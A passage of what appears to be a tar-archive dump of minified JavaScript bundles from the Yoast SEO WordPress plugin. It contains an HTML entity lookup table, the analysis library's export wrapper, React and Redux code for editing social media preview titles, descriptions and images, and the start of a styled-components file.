ltri":"⧎","RuleDelayed":"⧴","ruluhar":"⥨","rx":"℞","Sacute":"Ś","sacute":"ś","sbquo":"‚","scap":"⪸","Scaron":"Š","scaron":"š","Sc":"⪼","sc":"≻","sccue":"≽","sce":"⪰","scE":"⪴","Scedil":"Ş","scedil":"ş","Scirc":"Ŝ","scirc":"ŝ","scnap":"⪺","scnE":"⪶","scnsim":"⋩","scpolint":"⨓","scsim":"≿","Scy":"С","scy":"с","sdotb":"⊡","sdot":"⋅","sdote":"⩦","searhk":"⤥","searr":"↘","seArr":"⇘","searrow":"↘","sect":"§","semi":";","seswar":"⤩","setminus":"∖","setmn":"∖","sext":"✶","Sfr":"𝔖","sfr":"𝔰","sfrown":"⌢","sharp":"♯","SHCHcy":"Щ","shchcy":"щ","SHcy":"Ш","shcy":"ш","ShortDownArrow":"↓","ShortLeftArrow":"←","shortmid":"∣","shortparallel":"∥","ShortRightArrow":"→","ShortUpArrow":"↑","shy":"­","Sigma":"Σ","sigma":"σ","sigmaf":"ς","sigmav":"ς","sim":"∼","simdot":"⩪","sime":"≃","simeq":"≃","simg":"⪞","simgE":"⪠","siml":"⪝","simlE":"⪟","simne":"≆","simplus":"⨤","simrarr":"⥲","slarr":"←","SmallCircle":"∘","smallsetminus":"∖","smashp":"⨳","smeparsl":"⧤","smid":"∣","smile":"⌣","smt":"⪪","smte":"⪬","smtes":"⪬︀","SOFTcy":"Ь","softcy":"ь","solbar":"⌿","solb":"⧄","sol":"/","Sopf":"𝕊","sopf":"𝕤","spades":"♠","spadesuit":"♠","spar":"∥","sqcap":"⊓","sqcaps":"⊓︀","sqcup":"⊔","sqcups":"⊔︀","Sqrt":"√","sqsub":"⊏","sqsube":"⊑","sqsubset":"⊏","sqsubseteq":"⊑","sqsup":"⊐","sqsupe":"⊒","sqsupset":"⊐","sqsupseteq":"⊒","square":"□","Square":"□","SquareIntersection":"⊓","SquareSubset":"⊏","SquareSubsetEqual":"⊑","SquareSuperset":"⊐","SquareSupersetEqual":"⊒","SquareUnion":"⊔","squarf":"▪","squ":"□","squf":"▪","srarr":"→","Sscr":"𝒮","sscr":"𝓈","ssetmn":"∖","ssmile":"⌣","sstarf":"⋆","Star":"⋆","star":"☆","starf":"★","straightepsilon":"ϵ","straightphi":"ϕ","strns":"¯","sub":"⊂","Sub":"⋐","subdot":"⪽","subE":"⫅","sube":"⊆","subedot":"⫃","submult":"⫁","subnE":"⫋","subne":"⊊","subplus":"⪿","subrarr":"⥹","subset":"⊂","Subset":"⋐","subseteq":"⊆","subseteqq":"⫅","SubsetEqual":"⊆","subsetneq":"⊊","subsetneqq":"⫋","subsim":"⫇","subsub":"⫕","subsup":"⫓","succapprox":"⪸","succ":"≻","succcurlyeq":"≽","Succeeds":"≻","SucceedsEqual":"⪰","SucceedsSlantEqual":"≽","SucceedsTilde":"≿","succeq":"⪰","succnapprox":"⪺","succneqq":"⪶","succnsim":"⋩","succsim":"≿","SuchThat":"∋","sum":"∑","Sum":"∑","sung":"♪","sup1":"¹","sup2":"²","sup3":"³","sup":"⊃","Sup":"⋑","supdot":"⪾","supdsub":"⫘","supE":"⫆","supe":"⊇","supedot":"⫄","Superset":"⊃","SupersetEqual":"⊇","suphsol":"⟉","suphsub":"⫗","suplarr":"⥻","supmult":"⫂","supnE":"⫌","supne":"⊋","supplus":"⫀","supset":"⊃","Supset":"⋑","supseteq":"⊇","supseteqq":"⫆","supsetneq":"⊋","supsetneqq":"⫌","supsim":"⫈","supsub":"⫔","supsup":"⫖","swarhk":"⤦","swarr":"↙","swArr":"⇙","swarrow":"↙","swnwar":"⤪","szlig":"ß","Tab":"\\t","target":"⌖","Tau":"Τ","tau":"τ","tbrk":"⎴","Tcaron":"Ť","tcaron":"ť","Tcedil":"Ţ","tcedil":"ţ","Tcy":"Т","tcy":"т","tdot":"⃛","telrec":"⌕","Tfr":"𝔗","tfr":"𝔱","there4":"∴","therefore":"∴","Therefore":"∴","Theta":"Θ","theta":"θ","thetasym":"ϑ","thetav":"ϑ","thickapprox":"≈","thicksim":"∼","ThickSpace":"  ","ThinSpace":" ","thinsp":" ","thkap":"≈","thksim":"∼","THORN":"Þ","thorn":"þ","tilde":"˜","Tilde":"∼","TildeEqual":"≃","TildeFullEqual":"≅","TildeTilde":"≈","timesbar":"⨱","timesb":"⊠","times":"×","timesd":"⨰","tint":"∭","toea":"⤨","topbot":"⌶","topcir":"⫱","top":"⊤","Topf":"𝕋","topf":"𝕥","topfork":"⫚","tosa":"⤩","tprime":"‴","trade":"™","TRADE":"™","triangle":"▵","triangledown":"▿","triangleleft":"◃","trianglelefteq":"⊴","triangleq":"≜","triangleright":"▹","trianglerighteq":"⊵","tridot":"◬","trie":"≜","triminus":"⨺","TripleDot":"⃛","triplus":"⨹","trisb":"⧍","tritime":"⨻","trpezium":"⏢","Tscr":"𝒯","tscr":"𝓉","TScy":"Ц","tscy":"ц","TSHcy":"Ћ","tshcy":"ћ","Tstrok":"Ŧ","tstrok":"ŧ","twixt":"≬","twoheadleftarrow":"↞","twoheadrightarrow":"↠","Uacute":"Ú","uacute":"ú","uarr":"↑","Uarr":"↟","uArr":"⇑","Uarrocir":"⥉","Ubrcy":"Ў","ubrcy":"ў","Ubreve":"Ŭ","ubreve":"ŭ","Ucirc":"Û","ucirc":"û","Ucy":"У","ucy":"у","udarr":"⇅","Udblac":"Ű","udblac":"ű","udhar":"⥮","ufisht":"⥾","Ufr":"𝔘","ufr":"𝔲","Ugrave":"Ù","ugrave":"ù","uHar":"⥣","uharl":"↿","uharr":"↾","uhblk":"▀","ulcorn":"⌜","ulcorner":"⌜","ulcrop":"⌏","ultri":"◸","Umacr":"Ū","umacr":"ū","uml":"¨","UnderBar":"_","UnderBrace":"⏟","UnderBracket":"⎵","UnderParenthesis":"⏝","Union":"⋃","UnionPlus":"⊎","Uogon":"Ų","uogon":"ų","Uopf":"𝕌","uopf":"𝕦","UpArrowBar":"⤒","uparrow":"↑","UpArrow":"↑","Uparrow":"⇑","UpArrowDownArrow":"⇅","updownarrow":"↕","UpDownArrow":"↕","Updownarrow":"⇕","UpEquilibrium":"⥮","upharpoonleft":"↿","upharpoonright":"↾","uplus":"⊎","UpperLeftArrow":"↖","UpperRightArrow":"↗","upsi":"υ","Upsi":"ϒ","upsih":"ϒ","Upsilon":"Υ","upsilon":"υ","UpTeeArrow":"↥","UpTee":"⊥","upuparrows":"⇈","urcorn":"⌝","urcorner":"⌝","urcrop":"⌎","Uring":"Ů","uring":"ů","urtri":"◹","Uscr":"𝒰","uscr":"𝓊","utdot":"⋰","Utilde":"Ũ","utilde":"ũ","utri":"▵","utrif":"▴","uuarr":"⇈","Uuml":"Ü","uuml":"ü","uwangle":"⦧","vangrt":"⦜","varepsilon":"ϵ","varkappa":"ϰ","varnothing":"∅","varphi":"ϕ","varpi":"ϖ","varpropto":"∝","varr":"↕","vArr":"⇕","varrho":"ϱ","varsigma":"ς","varsubsetneq":"⊊︀","varsubsetneqq":"⫋︀","varsupsetneq":"⊋︀","varsupsetneqq":"⫌︀","vartheta":"ϑ","vartriangleleft":"⊲","vartriangleright":"⊳","vBar":"⫨","Vbar":"⫫","vBarv":"⫩","Vcy":"В","vcy":"в","vdash":"⊢","vDash":"⊨","Vdash":"⊩","VDash":"⊫","Vdashl":"⫦","veebar":"⊻","vee":"∨","Vee":"⋁","veeeq":"≚","vellip":"⋮","verbar":"|","Verbar":"‖","vert":"|","Vert":"‖","VerticalBar":"∣","VerticalLine":"|","VerticalSeparator":"❘","VerticalTilde":"≀","VeryThinSpace":" ","Vfr":"𝔙","vfr":"𝔳","vltri":"⊲","vnsub":"⊂⃒","vnsup":"⊃⃒","Vopf":"𝕍","vopf":"𝕧","vprop":"∝","vrtri":"⊳","Vscr":"𝒱","vscr":"𝓋","vsubnE":"⫋︀","vsubne":"⊊︀","vsupnE":"⫌︀","vsupne":"⊋︀","Vvdash":"⊪","vzigzag":"⦚","Wcirc":"Ŵ","wcirc":"ŵ","wedbar":"⩟","wedge":"∧","Wedge":"⋀","wedgeq":"≙","weierp":"℘","Wfr":"𝔚","wfr":"𝔴","Wopf":"𝕎","wopf":"𝕨","wp":"℘","wr":"≀","wreath":"≀","Wscr":"𝒲","wscr":"𝓌","xcap":"⋂","xcirc":"◯","xcup":"⋃","xdtri":"▽","Xfr":"𝔛","xfr":"𝔵","xharr":"⟷","xhArr":"⟺","Xi":"Ξ","xi":"ξ","xlarr":"⟵","xlArr":"⟸","xmap":"⟼","xnis":"⋻","xodot":"⨀","Xopf":"𝕏","xopf":"𝕩","xoplus":"⨁","xotime":"⨂","xrarr":"⟶","xrArr":"⟹","Xscr":"𝒳","xscr":"𝓍","xsqcup":"⨆","xuplus":"⨄","xutri":"△","xvee":"⋁","xwedge":"⋀","Yacute":"Ý","yacute":"ý","YAcy":"Я","yacy":"я","Ycirc":"Ŷ","ycirc":"ŷ","Ycy":"Ы","ycy":"ы","yen":"¥","Yfr":"𝔜","yfr":"𝔶","YIcy":"Ї","yicy":"ї","Yopf":"𝕐","yopf":"𝕪","Yscr":"𝒴","yscr":"𝓎","YUcy":"Ю","yucy":"ю","yuml":"ÿ","Yuml":"Ÿ","Zacute":"Ź","zacute":"ź","Zcaron":"Ž","zcaron":"ž","Zcy":"З","zcy":"з","Zdot":"Ż","zdot":"ż","zeetrf":"ℨ","ZeroWidthSpace":"​","Zeta":"Ζ","zeta":"ζ","zfr":"𝔷","Zfr":"ℨ","ZHcy":"Ж","zhcy":"ж","zigrarr":"⇝","zopf":"𝕫","Zopf":"ℤ","Zscr":"𝒵","zscr":"𝓏","zwj":"‍","zwnj":"‌"}')},60317:e=>{"use strict";e.exports=JSON.parse('{"Aacute":"Á","aacute":"á","Acirc":"Â","acirc":"â","acute":"´","AElig":"Æ","aelig":"æ","Agrave":"À","agrave":"à","amp":"&","AMP":"&","Aring":"Å","aring":"å","Atilde":"Ã","atilde":"ã","Auml":"Ä","auml":"ä","brvbar":"¦","Ccedil":"Ç","ccedil":"ç","cedil":"¸","cent":"¢","copy":"©","COPY":"©","curren":"¤","deg":"°","divide":"÷","Eacute":"É","eacute":"é","Ecirc":"Ê","ecirc":"ê","Egrave":"È","egrave":"è","ETH":"Ð","eth":"ð","Euml":"Ë","euml":"ë","frac12":"½","frac14":"¼","frac34":"¾","gt":">","GT":">","Iacute":"Í","iacute":"í","Icirc":"Î","icirc":"î","iexcl":"¡","Igrave":"Ì","igrave":"ì","iquest":"¿","Iuml":"Ï","iuml":"ï","laquo":"«","lt":"<","LT":"<","macr":"¯","micro":"µ","middot":"·","nbsp":" ","not":"¬","Ntilde":"Ñ","ntilde":"ñ","Oacute":"Ó","oacute":"ó","Ocirc":"Ô","ocirc":"ô","Ograve":"Ò","ograve":"ò","ordf":"ª","ordm":"º","Oslash":"Ø","oslash":"ø","Otilde":"Õ","otilde":"õ","Ouml":"Ö","ouml":"ö","para":"¶","plusmn":"±","pound":"£","quot":"\\"","QUOT":"\\"","raquo":"»","reg":"®","REG":"®","sect":"§","shy":"­","sup1":"¹","sup2":"²","sup3":"³","szlig":"ß","THORN":"Þ","thorn":"þ","times":"×","Uacute":"Ú","uacute":"ú","Ucirc":"Û","ucirc":"û","Ugrave":"Ù","ugrave":"ù","uml":"¨","Uuml":"Ü","uuml":"ü","Yacute":"Ý","yacute":"ý","yen":"¥","yuml":"ÿ"}')},51373:e=>{"use strict";e.exports=JSON.parse('{"amp":"&","apos":"\'","gt":">","lt":"<","quot":"\\""}')}},t={};function r(s){var n=t[s];if(void 0!==n)return n.exports;var i=t[s]={id:s,loaded:!1,exports:{}};return e[s].call(i.exports,i,i.exports,r),i.loaded=!0,i.exports}r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),r.nmd=e=>(e.paths=[],e.children||(e.children=[]),e);var s={};(()=>{"use strict";var e=s;Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"AnalysisWebWorker",{enumerable:!0,get:function(){return t.AnalysisWebWorker}}),Object.defineProperty(e,"AnalysisWorkerWrapper",{enumerable:!0,get:function(){return t.AnalysisWorkerWrapper}}),Object.defineProperty(e,"App",{enumerable:!0,get:function(){return f.default}}),Object.defineProperty(e,"Assessment",{enumerable:!0,get:function(){return y.default}}),Object.defineProperty(e,"AssessmentResult",{enumerable:!0,get:function(){return A.default}}),Object.defineProperty(e,"Assessor",{enumerable:!0,get:function(){return p.default}}),Object.defineProperty(e,"ContentAssessor",{enumerable:!0,get:function(){return g.default}}),Object.defineProperty(e,"DIFFICULTY",{enumerable:!0,get:function(){return v.DIFFICULTY}}),Object.defineProperty(e,"Factory",{enumerable:!0,get:function(){return b.default}}),Object.defineProperty(e,"Paper",{enumerable:!0,get:function(){return E.default}}),Object.defineProperty(e,"Pluggable",{enumerable:!0,get:function(){return T.default}}),Object.defineProperty(e,"SeoAssessor",{enumerable:!0,get:function(){return m.default}}),Object.defineProperty(e,"TaxonomyAssessor",{enumerable:!0,get:function(){return _.default}}),e.config=e.bundledPlugins=e.assessors=e.assessments=void 0,Object.defineProperty(e,"createWorker",{enumerable:!0,get:function(){return t.createWorker}}),e.values=e.markers=e.languageProcessing=e.interpreters=e.helpers=e.default=void 0;var t=r(77687),n=I(r(43947));e.assessments=n;var i=I(r(74059));e.bundledPlugins=i;var a=I(r(49061));e.helpers=a;var o=I(r(84476));e.markers=o;var l=I(r(80572));e.interpreters=l;var u=I(r(78035));e.config=u;var c=I(r(58677));e.languageProcessing=c;var d=I(r(73728));e.values=d;var h=I(r(90603));e.assessors=h;var f=O(r(12552)),p=O(r(90488)),g=O(r(45632)),m=O(r(44885)),_=O(r(40863)),T=O(r(20019)),E=O(r(82304)),A=O(r(73054)),y=O(r(9017)),v=r(82163),b=O(r(52453));function O(e){return e&&e.__esModule?e:{default:e}}function S(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(S=function(e){return e?r:t})(e)}function I(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=S(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}e.default={App:f.default,Assessor:p.default,ContentAssessor:g.default,TaxonomyAssessor:_.default,Pluggable:T.default,Paper:E.default,AssessmentResult:A.default,AnalysisWebWorker:t.AnalysisWebWorker,AnalysisWorkerWrapper:t.AnalysisWorkerWrapper,createWorker:t.createWorker,assessments:n,bundledPlugins:i,config:u,helpers:a,markers:o,interpreters:l,languageProcessing:c,values:d}})(),(window.yoast=window.yoast||{}).analysis=s})();wordpress-seo/js/dist/externals/socialMetadataForms.js000064400000030024147510273070017231 0ustar00(()=>{"use strict";var e={17966:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.withCaretStyle=t.default=void 0;var r=i(65736),o=i(23695),a=i(10224),n=i(37188),l=p(i(85890)),s=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var i=u(t);if(i&&i.has(e))return i.get(e);var r={__proto__:null},o=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var n=o?Object.getOwnPropertyDescriptor(e,a):null;n&&(n.get||n.set)?Object.defineProperty(r,a,n):r[a]=e[a]}return r.default=e,i&&i.set(e,r),r}(i(99196)),d=p(i(98487)),c=i(81413);function u(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,i=new WeakMap;return(u=function(e){return e?i:t})(e)}function p(e){return e&&e.__esModule?e:{default:e}}const f=e=>e?n.colors.$color_snippet_focus:n.colors.$color_snippet_hover,g=d.default.div`
	position: relative;

	${e=>!e.isPremium&&"\n\t\t.yoast-image-select__preview {\n\t\t\twidth: 130px;\n\t\t\tmin-height: 72px;\n\t\t\tmax-height: 130px;\n\t\t}\n\t"};
`;g.propTypes={isPremium:l.default.bool},g.defaultProps={isPremium:!1};const m=d.default.div`
	display: ${e=>e.isActive||e.isHovered?"block":"none"};

	::before {
		position: absolute;
		top: -2px;
		${(0,o.getDirectionalStyle)("left","right")}: -25px;
		width: 24px;
		height: 24px;
		background-image: url(
		${e=>(0,o.getDirectionalStyle)((0,n.angleRight)(f(e.isActive)),(0,n.angleLeft)(f(e.isActive)))}
		);
		color: ${e=>f(e.isActive)};
		background-size: 24px;
		background-repeat: no-repeat;
		background-position: center;
		content: "";
	}
`;m.propTypes={isActive:l.default.bool,isHovered:l.default.bool},m.defaultProps={isActive:!1,isHovered:!1};const _=e=>function t(i){t.propTypes={isActive:l.default.bool.isRequired,isHovered:l.default.bool.isRequired,isPremium:l.default.bool};const{isActive:r,isHovered:o,isPremium:a,...n}=i;return s.default.createElement(g,{isPremium:a},s.default.createElement(m,{isActive:r,isHovered:o}),s.default.createElement(e,n))};t.withCaretStyle=_;const E=_(c.ImageSelect);class I extends s.Component{constructor(e){super(e),this.onImageEnter=e.onMouseHover.bind(this,"image"),this.onTitleEnter=e.onMouseHover.bind(this,"title"),this.onDescriptionEnter=e.onMouseHover.bind(this,"description"),this.onLeave=e.onMouseHover.bind(this,""),this.onImageSelectBlur=e.onSelect.bind(this,""),this.onSelectTitleEditor=this.onSelectEditor.bind(this,"title"),this.onSelectDescriptionEditor=this.onSelectEditor.bind(this,"description"),this.onDeselectEditor=this.onSelectEditor.bind(this,""),this.onTitleEditorRef=this.onSetEditorRef.bind(this,"title"),this.onDescriptionEditorRef=this.onSetEditorRef.bind(this,"description")}onSelectEditor(e){this.props.onSelect(e)}onSetEditorRef(e,t){this.props.setEditorRef(e,t)}getFieldsTitles(e){return"Twitter"===e?{imageSelectTitle:(0,r.__)("Twitter image","wordpress-seo"),titleEditorTitle:(0,r.__)("Twitter title","wordpress-seo"),descEditorTitle:(0,r.__)("Twitter description","wordpress-seo")}:"X"===e?{imageSelectTitle:(0,r.__)("X image","wordpress-seo"),titleEditorTitle:(0,r.__)("X title","wordpress-seo"),descEditorTitle:(0,r.__)("X description","wordpress-seo")}:{imageSelectTitle:(0,r.__)("Social image","wordpress-seo"),titleEditorTitle:(0,r.__)("Social title","wordpress-seo"),descEditorTitle:(0,r.__)("Social description","wordpress-seo")}}render(){const{socialMediumName:e,onSelectImageClick:t,onRemoveImageClick:i,title:r,titleInputPlaceholder:n,description:l,descriptionInputPlaceholder:d,onTitleChange:c,onDescriptionChange:u,onReplacementVariableSearchChange:p,hoveredField:f,activeField:g,isPremium:m,replacementVariables:_,recommendedReplacementVariables:I,imageWarnings:S,imageUrl:h,imageAltText:T,idSuffix:v}=this.props,b=this.getFieldsTitles(e),w=!!h,A=b.imageSelectTitle,y=b.titleEditorTitle,O=b.descEditorTitle,P=e.toLowerCase();return s.default.createElement(s.Fragment,null,s.default.createElement(E,{label:A,onClick:t,onRemoveImageClick:i,warnings:S,imageSelected:w,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave,isActive:"image"===g,isHovered:"image"===f,imageUrl:h,imageAltText:T,hasPreview:!m,imageUrlInputId:(0,o.join)([P,"url-input",v]),selectImageButtonId:(0,o.join)([P,"select-button",v]),replaceImageButtonId:(0,o.join)([P,"replace-button",v]),removeImageButtonId:(0,o.join)([P,"remove-button",v]),isPremium:m}),s.default.createElement(a.ReplacementVariableEditor,{onChange:c,content:r,placeholder:n,replacementVariables:_,recommendedReplacementVariables:I,type:"title",fieldId:(0,o.join)([P,"title-input",v]),label:y,onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onSearchChange:p,isActive:"title"===g,isHovered:"title"===f,withCaret:!0,onFocus:this.onSelectTitleEditor,onBlur:this.onDeselectEditor,editorRef:this.onTitleEditorRef}),s.default.createElement(a.ReplacementVariableEditor,{onChange:u,content:l,placeholder:d,replacementVariables:_,recommendedReplacementVariables:I,type:"description",fieldId:(0,o.join)([P,"description-input",v]),label:O,onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onSearchChange:p,isActive:"description"===g,isHovered:"description"===f,withCaret:!0,onFocus:this.onSelectDescriptionEditor,onBlur:this.onDeselectEditor,editorRef:this.onDescriptionEditorRef}))}}I.propTypes={socialMediumName:l.default.oneOf(["Twitter","X","Social"]).isRequired,onSelectImageClick:l.default.func.isRequired,onRemoveImageClick:l.default.func.isRequired,title:l.default.string.isRequired,description:l.default.string.isRequired,onTitleChange:l.default.func.isRequired,onDescriptionChange:l.default.func.isRequired,onReplacementVariableSearchChange:l.default.func,isPremium:l.default.bool,hoveredField:l.default.string,activeField:l.default.string,onSelect:l.default.func,replacementVariables:a.replacementVariablesShape,recommendedReplacementVariables:l.default.arrayOf(l.default.string),imageWarnings:l.default.array,imageUrl:l.default.string,imageAltText:l.default.string,titleInputPlaceholder:l.default.string,descriptionInputPlaceholder:l.default.string,setEditorRef:l.default.func,onMouseHover:l.default.func,idSuffix:l.default.string},I.defaultProps={replacementVariables:[],recommendedReplacementVariables:[],imageWarnings:[],hoveredField:"",activeField:"",onSelect:()=>{},onReplacementVariableSearchChange:null,imageUrl:"",imageAltText:"",titleInputPlaceholder:"",descriptionInputPlaceholder:"",isPremium:!1,setEditorRef:()=>{},onMouseHover:()=>{},idSuffix:""},t.default=I},62815:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.TWITTER_IMAGE_SIZES=t.FACEBOOK_IMAGE_SIZES=void 0,t.TWITTER_IMAGE_SIZES={squareWidth:125,squareHeight:125,landscapeWidth:506,landscapeHeight:265,aspectRatio:50.2},t.FACEBOOK_IMAGE_SIZES={squareWidth:158,squareHeight:158,landscapeWidth:527,landscapeHeight:273,portraitWidth:158,portraitHeight:237,aspectRatio:52.2,largeThreshold:{width:446,height:233}}},60015:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=i(62815);t.default=function(e){const{largeThreshold:t}=r.FACEBOOK_IMAGE_SIZES;return e.height>e.width?"portrait":e.width<t.width||e.height<t.height||e.height===e.width?"square":"landscape"}},31357:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.setSocialPreviewTitle=t.setSocialPreviewImageUrl=t.setSocialPreviewImageType=t.setSocialPreviewImageId=t.setSocialPreviewImage=t.setSocialPreviewDescription=t.clearSocialPreviewImage=t.SET_SOCIAL_TITLE=t.SET_SOCIAL_IMAGE_URL=t.SET_SOCIAL_IMAGE_TYPE=t.SET_SOCIAL_IMAGE_ID=t.SET_SOCIAL_IMAGE=t.SET_SOCIAL_DESCRIPTION=t.CLEAR_SOCIAL_IMAGE=void 0;const i=t.SET_SOCIAL_TITLE="SET_SOCIAL_TITLE",r=t.SET_SOCIAL_DESCRIPTION="SET_SOCIAL_DESCRIPTION",o=t.SET_SOCIAL_IMAGE_URL="SET_SOCIAL_IMAGE_URL",a=t.SET_SOCIAL_IMAGE_TYPE="SET_SOCIAL_IMAGE_TYPE",n=t.SET_SOCIAL_IMAGE_ID="SET_SOCIAL_IMAGE_ID",l=t.SET_SOCIAL_IMAGE="SET_SOCIAL_IMAGE",s=t.CLEAR_SOCIAL_IMAGE="CLEAR_SOCIAL_IMAGE";t.setSocialPreviewTitle=(e,t)=>({type:i,platform:t,title:e}),t.setSocialPreviewDescription=(e,t)=>({type:r,platform:t,description:e}),t.setSocialPreviewImageUrl=(e,t)=>({type:o,platform:t,imageUrl:e}),t.setSocialPreviewImageType=(e,t)=>({type:a,platform:t,imageType:e}),t.setSocialPreviewImageId=(e,t)=>({type:n,platform:t,imageId:e}),t.setSocialPreviewImage=(e,t)=>({type:l,platform:t,image:e}),t.clearSocialPreviewImage=e=>({type:s,platform:e})},1499:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=i(7185),o=i(31357);const a={title:"",description:"",warnings:[],image:{bytes:null,type:null,height:null,width:null,url:"",id:null,alt:""}};function n(e=a,t){switch(t.type){case o.SET_SOCIAL_TITLE:return{...e,title:t.title};case o.SET_SOCIAL_DESCRIPTION:return{...e,description:t.description};case o.SET_SOCIAL_IMAGE:return{...e,image:{...t.image}};case o.SET_SOCIAL_IMAGE_URL:return{...e,image:{...e.image,url:t.imageUrl}};case o.SET_SOCIAL_IMAGE_TYPE:return{...e,image:{...e.image,type:t.imageType}};case o.SET_SOCIAL_IMAGE_ID:return{...e,image:{...e.image,id:t.imageId}};case o.CLEAR_SOCIAL_IMAGE:return{...e,image:{bytes:null,type:null,height:null,width:null,url:"",id:null,alt:""}};default:return e}}function l(e,t){return(i,r)=>{const{platform:o}=r;return void 0===i?a:o!==t?i:e(i,r)}}const s=(0,r.combineReducers)({facebook:l(n,"facebook"),twitter:l(n,"twitter")});t.default=s},38166:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"socialReducer",{enumerable:!0,get:function(){return o.default}});var r,o=(r=i(1499))&&r.__esModule?r:{default:r}},31715:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=i(92819);t.default=e=>{const t={getFacebookData:t=>(0,r.get)(t,`${e}.facebook`,{}),getFacebookTitle:e=>t.getFacebookData(e).title,getFacebookDescription:e=>t.getFacebookData(e).description,getFacebookImageUrl:e=>t.getFacebookData(e).image.url,getFacebookImageType:e=>t.getFacebookData(e).image.type,getTwitterData:t=>(0,r.get)(t,`${e}.twitter`,{}),getTwitterTitle:e=>t.getTwitterData(e).title,getTwitterDescription:e=>t.getTwitterData(e).description,getTwitterImageUrl:e=>t.getTwitterData(e).image.url,getTwitterImageType:e=>t.getTwitterData(e).image.type};return t}},99196:e=>{e.exports=window.React},92819:e=>{e.exports=window.lodash},65736:e=>{e.exports=window.wp.i18n},81413:e=>{e.exports=window.yoast.componentsNew},23695:e=>{e.exports=window.yoast.helpers},85890:e=>{e.exports=window.yoast.propTypes},7185:e=>{e.exports=window.yoast.redux},10224:e=>{e.exports=window.yoast.replacementVariableEditor},37188:e=>{e.exports=window.yoast.styleGuide},98487:e=>{e.exports=window.yoast.styledComponents}},t={};function i(r){var o=t[r];if(void 0!==o)return o.exports;var a=t[r]={exports:{}};return e[r](a,a.exports,i),a.exports}var r={};(()=>{var e=r;Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"FACEBOOK_IMAGE_SIZES",{enumerable:!0,get:function(){return a.FACEBOOK_IMAGE_SIZES}}),Object.defineProperty(e,"SocialMetadataPreviewForm",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(e,"TWITTER_IMAGE_SIZES",{enumerable:!0,get:function(){return a.TWITTER_IMAGE_SIZES}}),e.actions=void 0,Object.defineProperty(e,"determineFacebookImageMode",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(e,"selectorsFactory",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(e,"socialReducer",{enumerable:!0,get:function(){return l.socialReducer}});var t=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var i=c(t);if(i&&i.has(e))return i.get(e);var r={__proto__:null},o=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var n=o?Object.getOwnPropertyDescriptor(e,a):null;n&&(n.get||n.set)?Object.defineProperty(r,a,n):r[a]=e[a]}return r.default=e,i&&i.set(e,r),r}(i(31357));e.actions=t;var o=d(i(31715)),a=i(62815),n=d(i(60015)),l=i(38166),s=d(i(17966));function d(e){return e&&e.__esModule?e:{default:e}}function c(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,i=new WeakMap;return(c=function(e){return e?i:t})(e)}})(),(window.yoast=window.yoast||{}).socialMetadataForms=r})();wordpress-seo/js/dist/externals/componentsNew.js000064400000603262147510273070016160 0ustar00(()=>{var e={74102:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(98487)),n=r(37188),a=l(r(64213));function l(e){return e&&e.__esModule?e:{default:e}}const s="#A5B4FC",i="to bottom right",u={defaultStateBackground:`linear-gradient(${i}, #FAF3F7, #EEF2FF)`,defaultStateBorder:`linear-gradient(${i}, #CD82AB, ${s}) 1`,hoverStateBackground:`linear-gradient(${i}, #F3E5ED, #E0E7FF)`,pressedStateBackground:`linear-gradient(${i}, #A61E69, #6366F1)`},d=(0,o.default)(a.default)`
	position: relative;
	border: ${e=>e.pressed?"none":`1px solid ${s}`};
	background-image: ${e=>e.pressed?u.pressedStateBackground:u.defaultStateBackground} !important;
	box-shadow: ${e=>e.pressed?"inset 0 -2px 0 #B94986":`0 1px 0 ${(0,n.rgba)(e.unpressedBoxShadowColor,.7)}`};
	&:hover {
		background-image:  ${e=>e.pressed?u.pressedStateBackground:u.hoverStateBackground} !important;
	}
`;t.default=d},57990:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=c(r(85890)),n=c(r(99196)),a=c(r(98487)),l=r(65736),s=r(23695),i=r(37188),u=c(r(46362)),d=c(r(78386));function c(e){return e&&e.__esModule?e:{default:e}}const f=a.default.div`
	display: flex;
	align-items: flex-start;
	font-size: 13px;
	line-height: 1.5;
	border: 1px solid rgba(0, 0, 0, 0.2);
	padding: 16px;
	color: ${e=>e.alertColor};
	background: ${e=>e.alertBackground};
	margin-bottom: 20px;
`,p=a.default.div`
	flex-grow: 1;

	a {
		color: ${i.colors.$color_alert_link_text};
	}

	p {
		margin-top: 0;
	}
